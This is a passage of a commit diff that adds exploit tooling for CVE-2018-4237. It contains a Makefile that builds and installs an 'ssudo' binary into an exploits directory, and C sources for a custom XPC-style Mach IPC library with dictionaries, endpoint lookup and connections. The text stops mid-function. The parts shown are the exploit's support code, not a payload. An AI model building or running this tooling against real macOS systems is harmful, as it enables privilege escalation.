add CVE-2018-4237
parent
77736cc4e2
commit
420be60900
|
@ -0,0 +1,10 @@
|
||||||
|
|
||||||
|
all:
|
||||||
|
+$(MAKE) -C ssudo
|
||||||
|
|
||||||
|
install:
|
||||||
|
cp ssudo/ssudo ../../../../data/exploits/CVE-2018-4237/ssudo
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f ssudo/ssudo
|
||||||
|
|
|
@ -0,0 +1,74 @@
|
||||||
|
#include "datatypes.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
spc_array_t* spc_array_create()
|
||||||
|
{
|
||||||
|
return calloc(sizeof(spc_array_t), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_array_destroy(spc_array_t* array)
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i < array->length; i++)
|
||||||
|
spc_value_destroy(array->values[i]);
|
||||||
|
|
||||||
|
free(array->values);
|
||||||
|
free(array);
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t spc_array_get_length(spc_array_t* array)
|
||||||
|
{
|
||||||
|
return array->length;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void resize_array(spc_array_t* array, size_t length)
|
||||||
|
{
|
||||||
|
if (array->length >= length)
|
||||||
|
return;
|
||||||
|
|
||||||
|
size_t prev_length = array->length;
|
||||||
|
|
||||||
|
if (array->capacity < length) {
|
||||||
|
array->capacity *= 2;
|
||||||
|
if (array->capacity == 0)
|
||||||
|
array->capacity = 4; // initial capacity
|
||||||
|
array->values = realloc(array->values, array->capacity * sizeof(spc_value_t));
|
||||||
|
ASSERT(array->values);
|
||||||
|
}
|
||||||
|
|
||||||
|
array->length = length;
|
||||||
|
|
||||||
|
// Null initialize
|
||||||
|
for (size_t i = prev_length; i < length; i++)
|
||||||
|
array->values[i].type = SPC_TYPE_NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value)
|
||||||
|
{
|
||||||
|
if (index >= array->length)
|
||||||
|
resize_array(array, index + 1);
|
||||||
|
|
||||||
|
array->values[index] = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length)
|
||||||
|
{
|
||||||
|
void* buf = malloc(length);
|
||||||
|
memcpy(buf, data, length);
|
||||||
|
|
||||||
|
spc_value_t value;
|
||||||
|
value.type = SPC_TYPE_DATA;
|
||||||
|
value.value.data.ptr = buf;
|
||||||
|
value.value.data.size = length;
|
||||||
|
|
||||||
|
spc_array_set_value(array, index, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_value_t spc_array_get_value(spc_array_t* array, size_t index)
|
||||||
|
{
|
||||||
|
if (index < array->length)
|
||||||
|
return array->values[index];
|
||||||
|
return spc_null_create();
|
||||||
|
}
|
|
@ -0,0 +1,14 @@
|
||||||
|
#ifndef _ARRAY_H_
|
||||||
|
#define _ARRAY_H_
|
||||||
|
|
||||||
|
#include "datatypes.h"
|
||||||
|
|
||||||
|
spc_array_t* spc_array_create();
|
||||||
|
|
||||||
|
size_t spc_array_get_length(spc_array_t* array);
|
||||||
|
|
||||||
|
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value);
|
||||||
|
|
||||||
|
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,223 @@
|
||||||
|
#include "datatypes.h"
|
||||||
|
#include "dictionary.h"
|
||||||
|
#include "serialization.h"
|
||||||
|
#include "utils.h"
|
||||||
|
#include "connection.h"
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
spc_message_t* spc_recv(mach_port_t port)
|
||||||
|
{
|
||||||
|
// TODO hack
|
||||||
|
spc_mach_message_t* machmsg = malloc(0x10000);
|
||||||
|
|
||||||
|
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_RCV_MSG, 0, 0x10000, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
|
||||||
|
|
||||||
|
spc_message_t* msg = spc_deserialize(machmsg);
|
||||||
|
free(machmsg);
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_send(spc_message_t* msg)
|
||||||
|
{
|
||||||
|
spc_mach_message_t* machmsg = spc_serialize(msg);
|
||||||
|
|
||||||
|
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_SEND_MSG, machmsg->header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
|
||||||
|
|
||||||
|
free(machmsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* dict, spc_dictionary_t** reply)
|
||||||
|
{
|
||||||
|
mach_port_t bootstrap_port;
|
||||||
|
kern_return_t kr;
|
||||||
|
|
||||||
|
spc_dictionary_set_uint64(dict, "subsystem", subsytem_nr);
|
||||||
|
spc_dictionary_set_uint64(dict, "routine", routine_nr);
|
||||||
|
|
||||||
|
kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
|
||||||
|
|
||||||
|
spc_message_t msg;
|
||||||
|
msg.remote_port.name = bootstrap_port;
|
||||||
|
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||||
|
msg.local_port.name = mig_get_reply_port();
|
||||||
|
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
|
||||||
|
msg.id = 0x10000000;
|
||||||
|
msg.content = dict;
|
||||||
|
|
||||||
|
spc_send(&msg);
|
||||||
|
|
||||||
|
spc_message_t* reply_msg = spc_recv(mig_get_reply_port());
|
||||||
|
|
||||||
|
*reply = reply_msg->content;
|
||||||
|
free(reply_msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply)
|
||||||
|
{
|
||||||
|
return spc_interface_routine(3, routine_nr, msg, reply);
|
||||||
|
}
|
||||||
|
|
||||||
|
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port)
|
||||||
|
{
|
||||||
|
spc_dictionary_t* msg = spc_dictionary_create();
|
||||||
|
spc_dictionary_set_string(msg, "name", name);
|
||||||
|
spc_dictionary_set_uint64(msg, "type", type);
|
||||||
|
spc_dictionary_set_uint64(msg, "handle", handle);
|
||||||
|
spc_dictionary_set_uint64(msg, "lookup-handle", lookup_handle);
|
||||||
|
spc_dictionary_set_uint64(msg, "flags", flags);
|
||||||
|
|
||||||
|
spc_dictionary_t* reply;
|
||||||
|
|
||||||
|
spc_domain_routine(0x324, msg, &reply);
|
||||||
|
spc_dictionary_destroy(msg);
|
||||||
|
|
||||||
|
if (spc_dictionary_get_int64(reply, "error") != 0) {
|
||||||
|
return KERN_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
*remote_port = spc_dictionary_get_send_port(reply, "port");
|
||||||
|
spc_dictionary_destroy(reply);
|
||||||
|
|
||||||
|
return KERN_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port)
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
mach_port_t send_port, receive_port;
|
||||||
|
|
||||||
|
// Allocate send port. Receive right will be transferred to remote end.
|
||||||
|
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &send_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||||
|
|
||||||
|
// Allocate receive port. A send right will be created and send to the remote end.
|
||||||
|
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||||
|
|
||||||
|
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
|
||||||
|
connection->receive_port = receive_port;
|
||||||
|
|
||||||
|
// Extract a send right for the send_port.
|
||||||
|
mach_msg_type_name_t aquired_type;
|
||||||
|
kr = mach_port_extract_right(mach_task_self(), send_port, MACH_MSG_TYPE_MAKE_SEND, &connection->send_port, &aquired_type);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_port_extract_right");
|
||||||
|
|
||||||
|
struct {
|
||||||
|
mach_msg_header_t header;
|
||||||
|
mach_msg_body_t body;
|
||||||
|
mach_msg_port_descriptor_t send_port;
|
||||||
|
mach_msg_port_descriptor_t receive_port;
|
||||||
|
} msg;
|
||||||
|
|
||||||
|
msg.header.msgh_remote_port = service_port;
|
||||||
|
msg.header.msgh_local_port = MACH_PORT_NULL;
|
||||||
|
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||||
|
msg.header.msgh_size = sizeof(msg);
|
||||||
|
msg.header.msgh_id = 1999646836; // Copy-pasted from mach message trace
|
||||||
|
|
||||||
|
msg.body.msgh_descriptor_count = 2;
|
||||||
|
|
||||||
|
msg.send_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
msg.send_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||||
|
msg.send_port.name = send_port;
|
||||||
|
|
||||||
|
msg.receive_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
msg.receive_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||||
|
msg.receive_port.name = receive_port;
|
||||||
|
|
||||||
|
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
|
||||||
|
|
||||||
|
return connection;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_connection_t* spc_create_connection_mach_service(const char* service_name)
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
mach_port_t service_port;
|
||||||
|
|
||||||
|
kr = spc_look_up_endpoint(service_name, 7, 0, 0, 0, &service_port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return spc_create_connection_mach_port(service_port);
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_connection_t* spc_accept_connection(mach_port_t port)
|
||||||
|
{
|
||||||
|
struct {
|
||||||
|
mach_msg_header_t header;
|
||||||
|
mach_msg_body_t body;
|
||||||
|
mach_msg_port_descriptor_t recv_port;
|
||||||
|
mach_msg_port_descriptor_t send_port;
|
||||||
|
mach_msg_trailer_t trailer;
|
||||||
|
} msg;
|
||||||
|
|
||||||
|
mach_msg_return_t kr = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
|
||||||
|
|
||||||
|
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
|
||||||
|
connection->receive_port = msg.recv_port.name;
|
||||||
|
connection->send_port = msg.send_port.name;
|
||||||
|
|
||||||
|
return connection;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* dict)
|
||||||
|
{
|
||||||
|
spc_message_t msg;
|
||||||
|
msg.id = 0x10000000;
|
||||||
|
msg.remote_port.name = connection->send_port;
|
||||||
|
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||||
|
msg.local_port.name = MACH_PORT_NULL;
|
||||||
|
msg.local_port.type = 0;
|
||||||
|
msg.content = dict;
|
||||||
|
spc_send(&msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* dict)
|
||||||
|
{
|
||||||
|
spc_message_t msg;
|
||||||
|
msg.id = 0x10000000;
|
||||||
|
msg.remote_port.name = connection->send_port;
|
||||||
|
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||||
|
msg.local_port.name = mig_get_reply_port();
|
||||||
|
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
|
||||||
|
msg.content = dict;
|
||||||
|
spc_send(&msg);
|
||||||
|
|
||||||
|
spc_message_t* reply = spc_recv(msg.local_port.name);
|
||||||
|
dict = reply->content;
|
||||||
|
free(reply);
|
||||||
|
|
||||||
|
return dict;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection)
|
||||||
|
{
|
||||||
|
spc_message_t* msg = spc_recv(connection->receive_port);
|
||||||
|
|
||||||
|
spc_dictionary_t* dict = msg->content;
|
||||||
|
free(msg);
|
||||||
|
|
||||||
|
return dict;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_reply(spc_message_t* orig, spc_dictionary_t* reply)
|
||||||
|
{
|
||||||
|
spc_message_t msg;
|
||||||
|
msg.id = 0x20000000;
|
||||||
|
msg.remote_port.name = orig->local_port.name;
|
||||||
|
msg.remote_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
|
||||||
|
msg.local_port.name = MACH_PORT_NULL;
|
||||||
|
msg.local_port.type = 0;
|
||||||
|
msg.content = reply;
|
||||||
|
spc_send(&msg);
|
||||||
|
}
|
|
@ -0,0 +1,25 @@
|
||||||
|
#ifndef _CONNECTION_H_
|
||||||
|
#define _CONNECTION_H_
|
||||||
|
|
||||||
|
#include "datatypes.h"
|
||||||
|
|
||||||
|
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
|
||||||
|
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
|
||||||
|
|
||||||
|
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port);
|
||||||
|
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port);
|
||||||
|
spc_connection_t* spc_create_connection_mach_service(const char* service_name);
|
||||||
|
|
||||||
|
spc_connection_t* spc_accept_connection(mach_port_t port);
|
||||||
|
|
||||||
|
// Low-level send/recv API
|
||||||
|
void spc_send(spc_message_t* msg);
|
||||||
|
spc_message_t* spc_recv(mach_port_t port);
|
||||||
|
void spc_reply(spc_message_t* msg, spc_dictionary_t* reply);
|
||||||
|
|
||||||
|
// High-level send/recv API
|
||||||
|
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* msg);
|
||||||
|
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* msg);
|
||||||
|
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,43 @@
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include "datatypes.h"
|
||||||
|
|
||||||
|
const spc_port_t SPC_NULL_PORT = {.name = MACH_PORT_NULL, .type = 0};
|
||||||
|
|
||||||
|
spc_value_t spc_null_create()
|
||||||
|
{
|
||||||
|
spc_value_t null = { .type = SPC_TYPE_NULL };
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_value_destroy(spc_value_t value)
|
||||||
|
{
|
||||||
|
switch (value.type) {
|
||||||
|
case SPC_TYPE_STRING:
|
||||||
|
free(value.value.str);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_UUID:
|
||||||
|
free(value.value.ptr);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DATA:
|
||||||
|
free(value.value.data.ptr);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_ARRAY:
|
||||||
|
spc_array_destroy(value.value.array);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DICT:
|
||||||
|
spc_dictionary_destroy(value.value.dict);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_SEND_PORT:
|
||||||
|
case SPC_TYPE_RECV_PORT:
|
||||||
|
case SPC_TYPE_FD:
|
||||||
|
mach_port_deallocate(mach_task_self(), value.value.port.name);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_message_destroy(spc_message_t* msg)
|
||||||
|
{
|
||||||
|
spc_dictionary_destroy(msg->content);
|
||||||
|
free(msg);
|
||||||
|
}
|
|
@ -0,0 +1,91 @@
|
||||||
|
#ifndef _DATATYPES_H_
|
||||||
|
#define _DATATYPES_H_
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
mach_port_t send_port; // A send right to a port on which the remote end can receive
|
||||||
|
mach_port_t receive_port;
|
||||||
|
} spc_connection_t;
|
||||||
|
|
||||||
|
#define SPC_TYPE_NULL 0x1000
|
||||||
|
#define SPC_TYPE_BOOL 0x2000
|
||||||
|
#define SPC_TYPE_INT64 0x3000
|
||||||
|
#define SPC_TYPE_UINT64 0x4000
|
||||||
|
#define SPC_TYPE_DOUBLE 0x5000
|
||||||
|
#define SPC_TYPE_DATA 0x8000
|
||||||
|
#define SPC_TYPE_STRING 0x9000
|
||||||
|
#define SPC_TYPE_UUID 0xa000
|
||||||
|
#define SPC_TYPE_FD 0xb000
|
||||||
|
#define SPC_TYPE_SHMEM 0xc000
|
||||||
|
#define SPC_TYPE_SEND_PORT 0xd000
|
||||||
|
#define SPC_TYPE_ARRAY 0xe000
|
||||||
|
#define SPC_TYPE_DICT 0xf000
|
||||||
|
#define SPC_TYPE_RECV_PORT 0x15000
|
||||||
|
|
||||||
|
typedef struct _spc_dictionary_t spc_dictionary_t;
|
||||||
|
typedef struct _spc_array_t spc_array_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
mach_port_t name;
|
||||||
|
mach_msg_type_name_t type;
|
||||||
|
} spc_port_t;
|
||||||
|
|
||||||
|
const spc_port_t SPC_NULL_PORT;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
unsigned char* ptr;
|
||||||
|
size_t size;
|
||||||
|
} spc_data_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint32_t type;
|
||||||
|
union {
|
||||||
|
uint64_t u64;
|
||||||
|
int64_t i64;
|
||||||
|
double dbl;
|
||||||
|
char* str;
|
||||||
|
void* ptr;
|
||||||
|
spc_data_t data;
|
||||||
|
spc_dictionary_t* dict;
|
||||||
|
spc_array_t* array;
|
||||||
|
spc_port_t port;
|
||||||
|
} value;
|
||||||
|
} spc_value_t;
|
||||||
|
|
||||||
|
spc_value_t spc_null_create();
|
||||||
|
void spc_value_destroy(spc_value_t value);
|
||||||
|
|
||||||
|
typedef struct _spc_array_t {
|
||||||
|
spc_value_t* values;
|
||||||
|
size_t length;
|
||||||
|
size_t capacity;
|
||||||
|
} spc_array_t;
|
||||||
|
|
||||||
|
typedef struct _spc_dictionary_item_t {
|
||||||
|
char* key;
|
||||||
|
spc_value_t value;
|
||||||
|
struct _spc_dictionary_item_t* next;
|
||||||
|
} spc_dictionary_item_t;
|
||||||
|
|
||||||
|
typedef struct _spc_dictionary_t {
|
||||||
|
spc_dictionary_item_t* items;
|
||||||
|
size_t num_items;
|
||||||
|
} spc_dictionary_t;
|
||||||
|
|
||||||
|
|
||||||
|
void spc_array_destroy(spc_array_t* dict);
|
||||||
|
void spc_dictionary_destroy(spc_dictionary_t* dict);
|
||||||
|
|
||||||
|
// A message is essentially a mach message header and a dictionary
|
||||||
|
typedef struct {
|
||||||
|
spc_port_t local_port;
|
||||||
|
spc_port_t remote_port;
|
||||||
|
unsigned int id;
|
||||||
|
spc_dictionary_t* content;
|
||||||
|
} spc_message_t;
|
||||||
|
|
||||||
|
void spc_message_destroy(spc_message_t* msg);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,262 @@
|
||||||
|
#include "datatypes.h"
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
extern int fileport_makeport(int fd, mach_port_t* port);
|
||||||
|
|
||||||
|
spc_dictionary_t* spc_dictionary_create()
|
||||||
|
{
|
||||||
|
return calloc(sizeof(spc_dictionary_t), 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_destroy(spc_dictionary_t* dict)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* current, *last;
|
||||||
|
current = dict->items;
|
||||||
|
while (current) {
|
||||||
|
free(current->key);
|
||||||
|
|
||||||
|
spc_value_destroy(current->value);
|
||||||
|
|
||||||
|
last = current;
|
||||||
|
current = current->next;
|
||||||
|
free(last);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(dict);
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* current = dict->items;
|
||||||
|
while (current) {
|
||||||
|
if (strcmp(current->key, key) == 0)
|
||||||
|
return current;
|
||||||
|
|
||||||
|
current = current->next;
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
spc_dictionary_item_t* spc_dictionary_add_item(spc_dictionary_t* dict, const char* key, uint32_t type)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||||
|
if (item) {
|
||||||
|
spc_value_destroy(item->value);
|
||||||
|
} else {
|
||||||
|
item = malloc(sizeof(spc_dictionary_item_t));
|
||||||
|
item->next = dict->items;
|
||||||
|
dict->items = item;
|
||||||
|
dict->num_items++;
|
||||||
|
item->key = strdup(key);
|
||||||
|
}
|
||||||
|
item->value.type = type;
|
||||||
|
return item;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
|
||||||
|
item->value = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
|
||||||
|
item->value.value.str = strdup(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_UINT64);
|
||||||
|
item->value.value.u64 = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_INT64);
|
||||||
|
item->value.value.i64 = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* bytes, size_t len)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_DATA);
|
||||||
|
void* buf = malloc(len);
|
||||||
|
memcpy(buf, bytes, len);
|
||||||
|
item->value.value.data.ptr = buf;
|
||||||
|
item->value.value.data.size = len;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd)
|
||||||
|
{
|
||||||
|
mach_port_t fileport;
|
||||||
|
fileport_makeport(fd, &fileport);
|
||||||
|
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_FD);
|
||||||
|
item->value.value.port.name = fileport;
|
||||||
|
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO make port type a parameter
|
||||||
|
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
|
||||||
|
{
|
||||||
|
mach_port_addref(port, MACH_PORT_RIGHT_SEND);
|
||||||
|
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_SEND_PORT);
|
||||||
|
item->value.value.port.name = port;
|
||||||
|
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
|
||||||
|
{
|
||||||
|
mach_port_addref(port, MACH_PORT_RIGHT_RECEIVE);
|
||||||
|
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_RECV_PORT);
|
||||||
|
item->value.value.port.name = port;
|
||||||
|
item->value.value.port.type = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_BOOL);
|
||||||
|
item->value.value.u64 = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||||
|
if (!item || item->value.type != SPC_TYPE_UINT64)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return item->value.value.u64;
|
||||||
|
}
|
||||||
|
|
||||||
|
int64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||||
|
if (!item || item->value.type != SPC_TYPE_INT64)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return item->value.value.i64;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||||
|
if (!item || item->value.type != SPC_TYPE_STRING)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
return item->value.value.str;
|
||||||
|
}
|
||||||
|
|
||||||
|
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||||
|
if (!item || item->value.type != SPC_TYPE_BOOL)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return item->value.value.u64;
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||||
|
if (!item || item->value.type != SPC_TYPE_SEND_PORT)
|
||||||
|
return MACH_PORT_NULL;
|
||||||
|
|
||||||
|
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_SEND);
|
||||||
|
return item->value.value.port.name;
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key)
|
||||||
|
{
|
||||||
|
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||||
|
if (!item || item->value.type != SPC_TYPE_RECV_PORT)
|
||||||
|
return MACH_PORT_NULL;
|
||||||
|
|
||||||
|
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_RECEIVE);
|
||||||
|
return item->value.value.port.name;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void spc_dump_value(spc_value_t value, int indent)
|
||||||
|
{
|
||||||
|
char* indent_str = malloc(indent + 1);
|
||||||
|
memset(indent_str, ' ', indent);
|
||||||
|
indent_str[indent] = 0;
|
||||||
|
|
||||||
|
switch (value.type) {
|
||||||
|
case SPC_TYPE_NULL:
|
||||||
|
printf("%*cnull\n", indent, ' ');
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_BOOL:
|
||||||
|
printf("%*c%s\n", indent, ' ', value.value.u64 ? "true" : "false");
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_UINT64:
|
||||||
|
printf("%*c%llu\n", indent, ' ', value.value.u64);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_INT64:
|
||||||
|
printf("%*c%lli\n", indent, ' ', value.value.i64);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_DOUBLE:
|
||||||
|
printf("%*c%f\n", indent, ' ', value.value.dbl);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_STRING:
|
||||||
|
printf("%*c%s\n", indent, ' ', value.value.str);
|
||||||
|
break;
|
||||||
|
case SPC_TYPE_UUID: {
|
||||||
|
char buf[0x21];
|
||||||
|
for (int i = 0; i < 0x10; i++) {
|
||||||
|
sprintf(&buf[2*i], "%02x", ((unsigned char*)value.value.str)[i]);
|
||||||
|
}
|
||||||
|
buf[0x20] = 0;
|
||||||
|
printf("%*cuuid: %s\n", indent, ' ', buf);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SPC_TYPE_ARRAY: {
|
